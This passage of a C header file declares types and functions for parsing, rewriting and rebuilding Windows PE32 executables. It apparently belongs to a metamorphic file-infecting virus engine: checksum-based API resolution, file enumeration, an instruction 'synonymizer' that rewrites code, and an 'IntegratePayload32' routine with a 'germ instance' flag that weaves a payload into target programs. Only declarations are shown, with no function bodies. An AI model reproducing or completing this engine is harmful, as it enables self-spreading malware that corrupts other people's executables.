LPWIN32_FIND_DATAW); typedef BOOL (WINAPI *FINDCLOSE)(HANDLE); typedef HANDLE (WINAPI *CREATEMUTEXW) (PVOID, BOOL, PWCHAR); typedef HANDLE (WINAPI *CREATEFILEW)(PWCHAR, DWORD, DWORD, PVOID, DWORD, DWORD, HANDLE); typedef NTSTATUS (WINAPI *LDRLOADDLL) (PWCHAR, DWORD, PUNICODE_STRING, PHANDLE); typedef VOID (WINAPI *RTLINITUNICODESTRING) (PUNICODE_STRING, PWCHAR); typedef int (WINAPI *MESSAGEBOXW)(DWORD, PWCHAR, PWCHAR, DWORD); typedef HGLOBAL (WINAPI *GLOBALALLOC) (UINT, SIZE_T); typedef HGLOBAL (WINAPI *GLOBALFREE) (HGLOBAL); typedef DWORD (WINAPI *SETFILEPOINTER) (HANDLE, LONG, PLONG, DWORD); typedef DWORD (WINAPI *GETFILESIZE) (HANDLE, PDWORD); typedef BOOL (WINAPI *READFILE)(HANDLE, PCHAR, DWORD, PDWORD, PVOID); typedef DWORD (WINAPI *SRAND) (DWORD); typedef DWORD (WINAPI *GETTICKCOUNT) (VOID); typedef DWORD (WINAPI *LSTRCMPA)(PCHAR, PCHAR); typedef DWORD (WINAPI *LSTRCMPIA)(PCHAR, PCHAR); typedef BOOL (WINAPI *ISBADREADPTR) (PVOID, DWORD); typedef PCHAR (WINAPI *LSTRCPYA) (PCHAR, PCHAR); typedef PWCHAR (WINAPI *LSTRCPYW) (PWCHAR, PWCHAR); typedef PWCHAR (WINAPI *LSTRCPYNW) (PWCHAR, PWCHAR, DWORD); typedef DWORD (WINAPI *LSTRLENA) (PCHAR); typedef DWORD (WINAPI *LSTRLENW) (PWCHAR); typedef DWORD (WINAPI *RAND) (VOID); typedef PVOID (WINAPI *CHECKSUMMAPPEDFILE) (PVOID, DWORD, PDWORD, PDWORD); typedef BOOL (WINAPI *CLOSEHANDLE)(HANDLE); typedef BOOL (WINAPI *WRITEFILE)(HANDLE, PCHAR, DWORD, PDWORD, PVOID); typedef DWORD (WINAPI *RTLGETLASTWIN32ERROR) (); typedef PVOID (WINAPI *RTLADDVECTOREDEXCEPTIONHANDLER) (DWORD, DWORD); typedef VOID (WINAPI *RTLEXITUSERTHREAD) (DWORD); typedef struct _API_TABLE { DWORD dwKernel32Base; DWORD dwAdvAPI32Base; DWORD dwUser32Base; DWORD dwNtDLLBase; DWORD dwMsvcrtBase; DWORD dwImagehlpBase; RTLEXITUSERTHREAD RtlExitUserThread; FINDFIRSTFILEW FindFirstFileW; FINDNEXTFILEW FindNextFileW; RTLADDVECTOREDEXCEPTIONHANDLER RtlAddVectoredExceptionHandler; FINDCLOSE FindClose; LSTRCMPIA lstrcmpiA; WRITEFILE WriteFile; CLOSEHANDLE CloseHandle; CHECKSUMMAPPEDFILE CheckSumMappedFile; RTLINITUNICODESTRING RtlInitUnicodeString; LDRLOADDLL LdrLoadDll; MESSAGEBOXW MessageBoxW; CREATEFILEW CreateFileW; GLOBALALLOC GlobalAlloc; GETFILESIZE GetFileSize; READFILE ReadFile; SRAND Srand; GETTICKCOUNT GetTickCount; LSTRCMPA lstrcmpA; ISBADREADPTR IsBadReadPtr; LSTRCPYA lstrcpyA; LSTRLENA lstrlenA; GLOBALFREE GlobalFree; LSTRLENW lstrlenW; LSTRCPYW lstrcpyW; RAND Rand; LSTRCPYNW lstrcpynW; CREATEMUTEXW CreateMutexW; RTLGETLASTWIN32ERROR RtlGetLastWin32Error; SETFILEPOINTER SetFilePointer; } API_TABLE, *PAPI_TABLE; DWORD GetFunctionAddress(DWORD dwModuleBase, DWORD dwFunctionCheckSum); struct _IMPORTED_FUNCTION_ABSTRACTION; typedef struct _IMPORTED_FUNCTION_ABSTRACTION IMPORTED_FUNCTION_ABSTRACTION, *PIMPORTED_FUNCTION_ABSTRACTION; struct _IMPORTED_MODULE_ABSTRACTION; typedef struct _IMPORTED_MODULE_ABSTRACTION IMPORTED_MODULE_ABSTRACTION, *PIMPORTED_MODULE_ABSTRACTION; struct _IMPORT_ABSTRACTION_TABLE; typedef struct _IMPORT_ABSTRACTION_TABLE IMPORT_ABSTRACTION_TABLE, *PIMPORT_ABSTRACTION_TABLE; struct _IMPORTED_FUNCTION_ABSTRACTION { PIMPORTED_FUNCTION_ABSTRACTION pNextImportedFunctionAbstraction; PIMPORTED_FUNCTION_ABSTRACTION pPreviousImportedFunctionAbstraction; PIMPORTED_MODULE_ABSTRACTION pContainerImportedModuleAbstraction; DWORD dwOriginalIATEntryRVA; DWORD dwNewIATEntryRVA; PCHAR pFunctionName; WORD wOrdinal; WORD wHint; }; struct _IMPORTED_MODULE_ABSTRACTION { PIMPORTED_FUNCTION_ABSTRACTION pImportedFunctionAbstractionList; PIMPORTED_MODULE_ABSTRACTION pNextImportedModuleAbstraction; PIMPORTED_MODULE_ABSTRACTION pPreviousImportedModuleAbstraction; DWORD dwNumberOfFunctions; PCHAR pModuleName; }; struct _IMPORT_ABSTRACTION_TABLE { DWORD dwTotalNumberOfModules; DWORD dwTotalNumberOfFunctions; PIMPORTED_MODULE_ABSTRACTION pFirstImportedModuleAbstraction; }; VOID CreateIATSectionFromAbstractions32(PAPI_TABLE pAPITable, PIMPORT_ABSTRACTION_TABLE pImportAbstractions, PBYTE *ppPool, PDWORD pdwPoolSize, DWORD dwIATRVA, BOOL bSupressIATRegeneration); PIMPORT_ABSTRACTION_TABLE GetAbstractionsFromIAT32(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, PBYTE pIATPool); VOID FreeIATAbstractions32(PAPI_TABLE pAPITable, PIMPORT_ABSTRACTION_TABLE pImportAbstractions); typedef struct _EXPORT_ABSTRACTION { WORD wOrdinalIndex; PCHAR pName; DWORD dwExportedFunctionSectionIndex; DWORD dwExportedFunctionSectionOffset; PVOID pNextExportAbstraction; PVOID pLocationSymbol; } EXPORT_ABSTRACTION, *PEXPORT_ABSTRACTION; typedef struct _EXPORT_ABSTRACTION_TABLE { DWORD dwTotalNumberOfExports; DWORD dwNumberOfExportNames; PCHAR pExportsName; PEXPORT_ABSTRACTION pExportAbstractions; } EXPORT_ABSTRACTION_TABLE, *PEXPORT_ABSTRACTION_TABLE; BOOL CreateEATSectionFromAbstractions32(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PEXPORT_ABSTRACTION pExportAbstractions, PBYTE *ppPool, PDWORD pdwPoolSize, DWORD dwTotalNumberOfExports, DWORD dwNumberOfExportNames, PCHAR pExportsName, DWORD dwEATRVA, DWORD dwExportSectionIndex, BOOL bTargetPE32Complete); PEXPORT_ABSTRACTION_TABLE GetAbstractionsFromEAT32(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, DWORD dwExportSectionIndex); VOID FreeEATAbstractions32(PAPI_TABLE pAPITable, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable); #define RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_LOCATION 0x00000001 #define RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_REFERENCE 0x00000002 #define RELOCATION_ABSTRACTION_TYPE_IAT32_REFERENCE 0x00000004 #define RELOCATION_ABSTRACTION_TYPE_SECTION_END_REFERENCE 0x00000008 #define RELOCATION_ABSTRACTION_TYPE_CODE_REFERENCE 0x00000010 #define RELOCATION_ABSTRACTION_TYPE_ASCII_REFERENCE 0x00000020 #define RELOCATION_ABSTRACTION_TYPE_UNICODE_REFERENCE 0x00000040 #define RELOCATION_ABSTRACTION_TYPE_STRING_REFERENCE (RELOCATION_ABSTRACTION_TYPE_ASCII_REFERENCE|RELOCATION_ABSTRACTION_TYPE_UNICODE_REFERENCE) #define RELOCATION_ABSTRACTION_INTERTWINED_ORIGIN 0x00000100 #define RELOCATION_ABSTRACTION_TYPE_CODE_DATA_LOCATION 0x00000200 #define RELOCATION_ABSTRACTION_TYPE_CODE_MEMORY_LOCATION 0x00000400 #define RELOCATION_ABSTRACTION_TYPE_CODE_LOCATION (RELOCATION_ABSTRACTION_TYPE_CODE_DATA_LOCATION|RELOCATION_ABSTRACTION_TYPE_CODE_MEMORY_LOCATION) struct _RELOCATION_ABSTRACTION; typedef struct _RELOCATION_ABSTRACTION RELOCATION_ABSTRACTION, *PRELOCATION_ABSTRACTION; typedef struct _RELOCATION_ABSTRACTION { DWORD dwFlags; DWORD dwAbsoluteAddressReferenceOffset; DWORD dwAbsoluteAddressLocationOffset; DWORD dwAbsoluteAddressReferencedSectionIndex; DWORD dwAbsoluteAddressLocationSectionIndex; PVOID pLocationSymbol; PVOID pReferencedSymbol; PRELOCATION_ABSTRACTION pNextRelocationAssociation; }; VOID AugmentRelocationAbstractions32(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PRELOCATION_ABSTRACTION pRelocationAbstractions, DWORD dwAugmentationOffsetStart, DWORD dwAugmentationOffsetEnd, DWORD dwAugmentationSize); BOOL CreateRelocationSectionFromAbstractions32(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PRELOCATION_ABSTRACTION pRelocationAbstractions, PBYTE *ppPool, PDWORD pdwPoolSize); PRELOCATION_ABSTRACTION GetAbstractionsFromRelocations32(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PBYTE pRelocationPool, DWORD dwRelocationPoolSize, PIMPORT_ABSTRACTION_TABLE pImportAbstractions); VOID FreeRelocationAbstractions32(PAPI_TABLE pAPITable, PRELOCATION_ABSTRACTION pRelocationAbstractions); struct _X86_INSTRUCTION_ABSTRACTION; typedef struct _X86_INSTRUCTION_ABSTRACTION X86_INSTRUCTION_ABSTRACTION, *PX86_INSTRUCTION_ABSTRACTION; struct _X86_INSTRUCTION_ABSTRACTION { PX86_INSTRUCTION_ABSTRACTION pPreviousMemoryOrderX86InstructionAbstraction; PX86_INSTRUCTION_ABSTRACTION pNextMemoryOrderX86InstructionAbstraction; PX86_INSTRUCTION_ABSTRACTION pReferencingX86InstructionAbstractionBranch; PX86_INSTRUCTION_ABSTRACTION pX86InstructionAbstractionBranchTree; PRELOCATION_ABSTRACTION pDataRelocationAbstraction; PRELOCATION_ABSTRACTION pMemoryRelocationAbstraction; PEXPORT_ABSTRACTION pExportAbstraction; DWORD dwDataSize; // Non-zero indicates that this abstraction represents data, not an instruction DWORD dwInstructionLength; DWORD dwStandardFlags; DWORD dwExtendedFlags; DWORD dwInstructionOffset; DWORD dwNumberOfPrefixes; DWORD dwMemoryOffset; DWORD dwDataOffset; DWORD dwReferencedAddressOffset; LONG lBranchDestinationOffset; BYTE SourceRegister; BYTE DestinationRegister; BYTE ModRM; BYTE Mod; BYTE Reg; BYTE Rm; BYTE SIB; BYTE Scale; BYTE Index; BYTE Base; BYTE WBit; BYTE WBitOpcode; BYTE DBit; BYTE DBitOpcode; BYTE Opcode; PBYTE pExtendedDataPool; DWORD dwExtendedDataSize; BYTE Data[16]; }; typedef struct _X86_CODE_ABSTRACTION_TABLE { DWORD dwNumberOfInstructions; DWORD dwTotalCodeSize; PX86_INSTRUCTION_ABSTRACTION pInitialX86InstructionAbstraction; } X86_CODE_ABSTRACTION_TABLE, *PX86_CODE_ABSTRACTION_TABLE; typedef struct _X86_CODE_ISLAND_ABSTRACTION { PX86_INSTRUCTION_ABSTRACTION pInitialX86CodeIslandInstruction; PX86_INSTRUCTION_ABSTRACTION pFinalX86CodeIslandInstruction; } X86_CODE_ISLAND_ABSTRACTION, *PX86_CODE_ISLAND_ABSTRACTION; typedef struct _X86_CODE_ISLAND_ABSTRACTION_TABLE { PX86_INSTRUCTION_ABSTRACTION pOEPX86InstructionAbstraction; DWORD dwNumberOfCodeIslands; X86_CODE_ISLAND_ABSTRACTION CodeIslands[1]; } X86_CODE_ISLAND_ABSTRACTION_TABLE, *PX86_CODE_ISLAND_ABSTRACTION_TABLE; #define X86InstructionStandardFlagError 0xFFFFFFFF #define X86InstructionStandardFlagPrefix 0x00000001 #define X86InstructionStandardFlagPrefix66 0x00000002 #define X86InstructionStandardFlagPrefix67 0x00000004 #define X86InstructionStandardFlagData66 0x00000008 #define X86InstructionStandardFlagData8 0x00000010 #define X86InstructionStandardFlagData16 0x00000020 #define X86InstructionStandardFlagData32 0x00000040 #define X86InstructionStandardFlagMemory67 0x00000080 #define X86InstructionStandardFlagMemory8 0x00000100 #define X86InstructionStandardFlagMemory16 0x00000200 #define X86InstructionStandardFlagMemory32 0x00000400 #define X86InstructionStandardFlagModRM 0x00000800 #define X86InstructionStandardFlagDataWBit 0x00001000 #define X86InstructionStandardFlagWBitModRMSingle 0x00002000 #define X86InstructionStandardFlagPrefix0F 0x00004000 #define X86InstructionStandardFlagSIB 0x00008000 #define X86InstructionStandardFlagAddressModeWBit 0x00010000 #define X86InstructionStandardFlagWBit (X86InstructionStandardFlagAddressModeWBit|X86InstructionStandardFlagDataWBit|X86InstructionStandardFlagRegWBit|X86InstructionStandardFlagVerbWBit) #define X86InstructionStandardFlag16BitOverridePrefix (X86InstructionStandardFlagPrefix66|X86InstructionStandardFlagPrefix67) #define X86InstructionStandardFlagData (X86InstructionStandardFlagData8|X86InstructionStandardFlagData16|X86InstructionStandardFlagData32) #define X86InstructionStandardFlagMemory (X86InstructionStandardFlagMemory8|X86InstructionStandardFlagMemory16|X86InstructionStandardFlagMemory32) #define X86InstructionStandardFlagRegWBit 0x00020000 #define X86InstructionStandardFlagVerbWBit 0x00040000 #define X86InstructionExtendedFlagXMM 0x00000001 #define X86InstructionExtendedFlag2xReg32Constant 0x00000002 #define X86InstructionExtendedFlag8BitSingleModRM 0x00000004 #define X86InstructionExtendedFlagSignExtended 0x00000008 #define X86InstructionExtendedFlagBranch8 0x00000010 #define X86InstructionExtendedFlagBranch32 0x00000020 #define X86InstructionExtendedFlagBranch (X86InstructionExtendedFlagBranch8|X86InstructionExtendedFlagBranch32|X86InstructionExtendedFlagBranchUnknown) #define X86InstructionExtendedFlagExtendedOpcode 0x00000040 #define X86InstructionExtendedFlagAcculmulator 0x00000080 #define X86InstructionExtendedFlagDBit 0x00000100 #define X86InstructionExtendedFlagRegistersReversed 0x00000200 #define X86InstructionExtendedFlagRegOpcode 0x00000400 #define X86InstructionExtendedFlag32BitSingleModRM 0x00000800 #define X86InstructionExtendedFlagSingleModRM (X86InstructionExtendedFlag8BitSingleModRM|X86InstructionExtendedFlag32BitSingleModRM) #define X86InstructionExtendedFlagInvisibleConstant 0x00001000 #define X86InstructionExtendedFlagEffectiveAddressReversed 0x00002000 #define X86InstructionExtendedFlagInvisibleRegister 0x00004000 #define X86InstructionExtendedFlagConditionalBranch 0x00008000 #define X86InstructionExtendedFlagUnConditionalBranch 0x00010000 #define X86InstructionExtendedFlagCallBranch 0x00020000 #define X86InstructionExtendedFlagIsolatedVerb 0x00040000 #define X86InstructionExtendedFlagBranchUnknown 0x00080000 #define X86InstructionExtendedFlagBranchIsolatedReg 0x00100000 #define X86InstructionExtendedFlagNonModifier 0x00200000 #define X86InstructionExtendedFlagRegToReg 0x00400000 #define X86InstructionExtendedFlagSegmentRegisters 0x00800000 #define X86InstructionExtendedFlagBlankReg 0x01000000 #define X86InstructionExtendedFlagEntryPoint 0x02000000 #define X86InstructionExtendedFlagReferencedAddress 0x04000000 #define X86InstructionExtendedFlagFlagSensitive 0x08000000 #define X86InstructionExtendedFlagSwitch 0x10000000 #define X86InstructionExtendedFlagFrozenCodeIsland 0x20000000 #define DISASSEMBLY_STATUS_SUCCESS 0 #define DISASSEMBLY_STATUS_FATAL_ERROR 1 #define DISASSEMBLY_STATUS_DATA_ERROR 2 PX86_INSTRUCTION_ABSTRACTION IdentifyX86Instruction(PAPI_TABLE pAPITable, PBYTE pCodePool, DWORD dwCodePoolOffset); PX86_CODE_ABSTRACTION_TABLE AnalyzeX86PE32CodeSequence(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwCodePoolSize, PRELOCATION_ABSTRACTION pRelocationAbstractions, PEXPORT_ABSTRACTION_TABLE pExportAbstractions); BOOL SolidifyX86CodeIslandAbstractions(PAPI_TABLE pAPITable, PX86_CODE_ISLAND_ABSTRACTION_TABLE pCodeX86AbstractionIslandTable, PBYTE *ppSolidifiedCodePool, PDWORD pdwSolidifiedCodePoolSize, PBYTE pTargetPE32Pool); VOID ReCalculateX86InstructionOffsets(PX86_CODE_ABSTRACTION_TABLE pCodeX86InstructionAbstractionTable); PX86_CODE_ABSTRACTION_TABLE AnalyzeX86IsolatedCodeSequence(PAPI_TABLE pAPITable, PBYTE pCodePool, DWORD dwCodePoolSize); VOID FreeX86CodeAbstractions(PAPI_TABLE pAPITable, PX86_CODE_ABSTRACTION_TABLE pCodeAbstractionTable); VOID FreezeX86CodeIslandAbstractions(PAPI_TABLE pAPITable, PX86_CODE_ISLAND_ABSTRACTION_TABLE pCodeIslandAbstractionTable, DWORD dwCodePoolSize, PBYTE *ppFrozenCodeIslandAbstractionPool, PDWORD pdwFrozenCodeIslandAbstractionPoolSize); DWORD IdentifyEtherealX86BranchCorrespondences(PX86_INSTRUCTION_ABSTRACTION pCodeX86InstructionAbstractions); DWORD RefreshEtherealX86InstructionIslandTable(PX86_CODE_ISLAND_ABSTRACTION_TABLE pCodeX86AbstractionIslandTable); PVOID GetPhysicalPtrFromRVA(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, DWORD dwRVA); PIMAGE_SECTION_HEADER GetEnclosingSectionHeader(PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, DWORD dwRVA, PDWORD pdwEnclosingSectionIndex, PBOOL pbSectionEndReference); DWORD GetSectionIndexByName(PAPI_TABLE pAPITable, PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, PCHAR pSectionName); VOID RelocateMemory(PBYTE pDestinationPool, PBYTE pSourcePool, DWORD dwDataSize); BOOL IntegratePayload32(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwTargetPE32PoolSize, PBYTE pPayloadCodePool, DWORD dwPayloadCodePoolSize, PBYTE *ppIntertwinedPE32Pool, PDWORD pdwIntertwinedPE32PoolSize, BOOL bGermInstance, PBYTE pPreviousFrozenCodeIslandAbstractionTable); typedef struct _PE32_ABSTRACTION_TABLE { PIMAGE_DOS_HEADER pDOSHeader; PIMAGE_FILE_HEADER pFileHeader; PIMAGE_OPTIONAL_HEADER pOptionalHeader; PIMAGE_SECTION_HEADER pSectionHeaders; DWORD dwCodeSectionIndex; PRELOCATION_ABSTRACTION pRelocationAbstractions; PIMPORT_ABSTRACTION_TABLE pImportAbstractions; PX86_CODE_ABSTRACTION_TABLE pCodeAbstractions; PEXPORT_ABSTRACTION_TABLE pExportAbstractions; } PE32_ABSTRACTION_TABLE, *PPE32_ABSTRACTION_TABLE; PPE32_ABSTRACTION_TABLE AnalyzeX86PE32(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwTargetPE32PoolSize, int nCodePoolSize); PX86_CODE_ABSTRACTION_TABLE SynonymizeX86CodeAbstractionSequence(PAPI_TABLE pAPITable, PX86_CODE_ABSTRACTION_TABLE pTargetCodeAbstractionTable, PRELOCATION_ABSTRACTION pAddressAbstractions, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable, BOOL bShrinkCode, BOOL bExpandCode); #define APPLY_SINGLE_EXPAND_SYNONYMS #define APPLY_DOUBLE_EXPAND_SYNONYMS #define APPLY_TRIPLE_EXPAND_SYNONYMS typedef struct _DATA_DIRECTORY_INFORMATION { DWORD dwOffset; DWORD dwSize; DWORD dwDataDirectoryIndex; } DATA_DIRECTORY_INFORMATION, *PDATA_DIRECTORY_INFORMATION; typedef struct _DATA_DIRECTORY_AUGMENTATION_RECORD { BOOL bContainingSectionAugmented[16]; } DATA_DIRECTORY_AUGMENTATION_RECORD, *PDATA_DIRECTORY_AUGMENTATION_RECORD; typedef struct _DATA_DIRECTORY_SECTION_CORRESPONDENCE { DWORD dwNumberOfContainedDataDirectories; DATA_DIRECTORY_INFORMATION DataDirectoryInformation[16]; } DATA_DIRECTORY_SECTION_CORRESPONDENCE, *PDATA_DIRECTORY_SECTION_CORRESPONDENCE; BOOL AugmentPE32SectionSize(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwTargetPE32PoolSize, PBYTE *ppAugmentedPE32Pool, PDWORD pdwAugmentedPE32PoolSize, DWORD dwTargetSectionIndex, DWORD dwTargetSectionAugmentationSize, PIMPORT_ABSTRACTION_TABLE pImportAbstractionTable, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable); BOOL AugmentAllRequiredPE32SectionSizes(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwTargetPE32PoolSize, PBYTE *ppAugmentedPE32Pool, PDWORD pdwAugmentedPE32PoolSize, DWORD dwTargetSectionIndex, DWORD dwTargetDataDirectoryIndex, DWORD dwTargetSectionAugmentationSize, PDATA_DIRECTORY_AUGMENTATION_RECORD pPreviousDataDirectoryAugmentationRecord, PIMPORT_ABSTRACTION_TABLE pImportAbstractionTable, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable); BOOL AugmentIndividualPE32SectionSize(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwTargetPE32PoolSize, PBYTE *ppAugmentedPE32Pool, PDWORD pdwAugmentedPE32PoolSize, DWORD dwTargetSectionAugmentationSize, DWORD dwTargetSectionIndex, DWORD dwTargetDataDirectoryIndex, PDWORD pdwRequiredAugmentedSectionIndex, PDWORD pdwRequiredSectionAugmentationSize, PDWORD pdwRequiredAugmentedDataDirectoryIndex, PDATA_DIRECTORY_AUGMENTATION_RECORD pCurrentDataDirectoryAugmentationRecord, PIMPORT_ABSTRACTION_TABLE pImportAbstractionTable, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable); #define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 13 typedef struct ImgDelayDescr { DWORD grAttrs; // attributes DWORD rvaDLLName; // RVA to dll name DWORD rvaHmod; // RVA of module handle DWORD rvaIAT; // RVA of the IAT DWORD rvaINT; // RVA of the INT DWORD rvaBoundIAT; // RVA of the optional bound IAT DWORD rvaUnloadIAT; // RVA of optional copy of original IAT DWORD dwTimeStamp; // 0 if not bound, O.W. date/time stamp of DLL bound to (Old BIND) } ImgDelayDescr, *PImgDelayDescr; typedef const ImgDelayDescr *PCImgDelayDescr; enum DLAttr // Delay Load Attributes { dlattrRva = 0x1, // RVAs are used instead of pointers, having this set indicates a VC7.0, and above delay load descriptor. }; enum // Delay load import hook notifications { dliStartProcessing, // used to bypass or note helper only dliNoteStartProcessing=dliStartProcessing, dliNotePreLoadLibrary, // called just before LoadLibrary, can override w/ new HMODULE return val dliNotePreGetProcAddress, // called just before GetProcAddress, can override w/ new FARPROC return value dliFailLoadLib, // failed to load library, fix it by returning a valid HMODULE dliFailGetProc, // failed to get proc address, fix it by returning a valid FARPROC dliNoteEndProcessing, // called after all processing is done, no bypass possible at this point except by longjmp()/throw()/RaiseException. }; typedef struct DelayLoadProc { BOOL fImportByName; union { LPCSTR szProcName; DWORD dwOrdinal; }; } DelayLoadProc; typedef struct DelayLoadInfo { DWORD cb; // size of structure PCImgDelayDescr pidd; // raw form of data (everything is there) FARPROC *ppfn; // points to address of function to load LPCSTR szDll; // name of dll DelayLoadProc dlp; // name or ordinal of procedure HMODULE hmodCur; // the hInstance of the library we have loaded FARPROC pfnCur; // the actual function that will be called DWORD dwLastError; // error received (if an error notification) } DelayLoadInfo, * PDelayLoadInfo; typedef FARPROC (WINAPI *PfnDliHook)(unsigned dliNotify, PDelayLoadInfo pdli); struct _RESOURCE_DIRECTORY_ABSTRACTION; typedef struct _RESOURCE_DIRECTORY_ABSTRACTION RESOURCE_DIRECTORY_ABSTRACTION, *PRESOURCE_DIRECTORY_ABSTRACTION; struct _RESOURCE_DIRECTORY_ABSTRACTION { PRESOURCE_DIRECTORY_ABSTRACTION pNextDirectoryAbstraction; PRESOURCE_DIRECTORY_ABSTRACTION pPreviousDirectoryAbstraction; PRESOURCE_DIRECTORY_ABSTRACTION pSubdirectoryAbstraction; PRESOURCE_DIRECTORY_ABSTRACTION pUpperDirectoryAbstraction; BOOL bNamedEntry; PWCHAR pName; DWORD dwID; DWORD dwDataSize; DWORD dwEntryNumber; DWORD dwDirectoryNumber; DWORD dwNumberOfIdEntries; DWORD dwNumberOfNamedEntries; DWORD dwNumberOfDirectories; DWORD dwTimeDateStamp; PBYTE pData; }; PRESOURCE_DIRECTORY_ABSTRACTION GetAbstractionsFromResources32(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, PBYTE pResourcePool, PRESOURCE_DIRECTORY_ABSTRACTION pResourceDirectoryAbstractionContainer, PIMAGE_RESOURCE_DIRECTORY pNextImageResourceDirectory, PDWORD pdwTotalNumberOfEntries, PDWORD pdwTotalNumberOfDirectories, PDWORD pdwTotalRawResourceDataSize); BOOL CreateResourceSectionFromAbstractions32(PAPI_TABLE pAPITable, PBYTE *ppPool, PDWORD pdwPoolSize, DWORD dwResourceSectionRVA, DWORD dwTotalNumberOfDirectories, DWORD dwTotalNumberOfEntries, PRESOURCE_DIRECTORY_ABSTRACTION pResourceDirectoryAbstractionTree, PIMAGE_RESOURCE_DIRECTORY *ppNextImageResourceDirectory, PDWORD pdwCurrentEntryIndex, PDWORD pdwLastSubdirectoryEntryCount, DWORD dwTotalRawResourceDataSize, PDWORD pdwCurrentRawResourceDataOffset); PRESOURCE_DIRECTORY_ABSTRACTION AddResourceDirectoryEntry32(PAPI_TABLE pAPITable, PRESOURCE_DIRECTORY_ABSTRACTION pContainerDirectoryAbstraction, PWCHAR pName, DWORD dwNameLength, DWORD dwID, BOOL bNamedEntry, PBYTE pData, DWORD dwDataSize, BOOL bIsDirectory); VOID FreeResourceAbstractions32(PAPI_TABLE pAPITable, PRESOURCE_DIRECTORY_ABSTRACTION pContainerDirectoryAbstraction); BOOL AddPE32Section(PAPI_TABLE pAPITable, PBYTE *ppTargetPE32Pool, PDWORD pdwTargetPE32PoolSize, PBYTE pNewSectionName, DWORD dwNewSectionCharecteristics, PBYTE pNewSectionData, DWORD dwNewVirtualSectionDataSize, DWORD dwNewRawSectionDataSize); BOOL RemovePE32Section(PAPI_TABLE pAPITable, PBYTE *ppTargetPE32Pool, PDWORD pdwTargetPE32PoolSize, DWORD dwSectionIndex);